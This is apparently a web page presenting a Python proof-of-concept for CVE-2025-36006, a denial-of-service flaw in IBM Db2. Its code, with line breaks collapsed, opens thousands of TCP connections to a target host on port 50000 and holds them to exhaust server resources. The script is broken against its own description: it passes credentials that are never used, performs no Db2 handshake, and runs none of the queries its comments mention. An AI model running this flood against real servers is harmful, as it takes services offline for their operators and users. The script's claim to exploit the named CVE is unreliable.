CVE-2025-36006: IBM Db2 资源释放不当导致拒绝服务漏洞

import socket import time # CVE-2025-36006 PoC - IBM Db2 Resource Release Vulnerability # This PoC demonstrates resource exhaustion via repeated authenticated queries # Note: Requires valid IBM Db2 credentials def connect_db2(host, port, username, password): """Establish connection to IBM Db2 server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Db2 connection protocol handshake # In real attack, use db2 CLI or Python ibm_db module return sock except Exception as e: print(f"Connection failed: {e}") return None def trigger_resource_exhaustion(host, port, iterations=10000): """Trigger vulnerability by exhausting resources through repeated queries""" print(f"[*] Starting resource exhaustion attack on {host}:{port}") print(f"[*] Target: CVE-2025-36006 - IBM Db2 Improper Resource Release") connections = [] try: for i in range(iterations): # Create connections without proper cleanup conn = connect_db2(host, port, "valid_user", "valid_pass") if conn: connections.append(conn) # Execute queries that may trigger resource leak if i % 100 == 0: print(f"[*] Iteration {i}: Active connections: {len(connections)}") time.sleep(0.01) # After resource exhaustion, service becomes unavailable if len(connections) >= 5000: print("[!] Resources likely exhausted - service may be down") break except KeyboardInterrupt: print("\n[!] Attack interrupted by user") finally: print(f"[*] Attack completed - {len(connections)} connections held") print("[*] In real scenario, service should be unavailable") if __name__ == "__main__": # Configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 50000 # Default IBM Db2 port print("=" * 60) print("CVE-2025-36006 IBM Db2 DoS PoC") print("=" * 60) trigger_resource_exhaustion(TARGET_HOST, TARGET_PORT)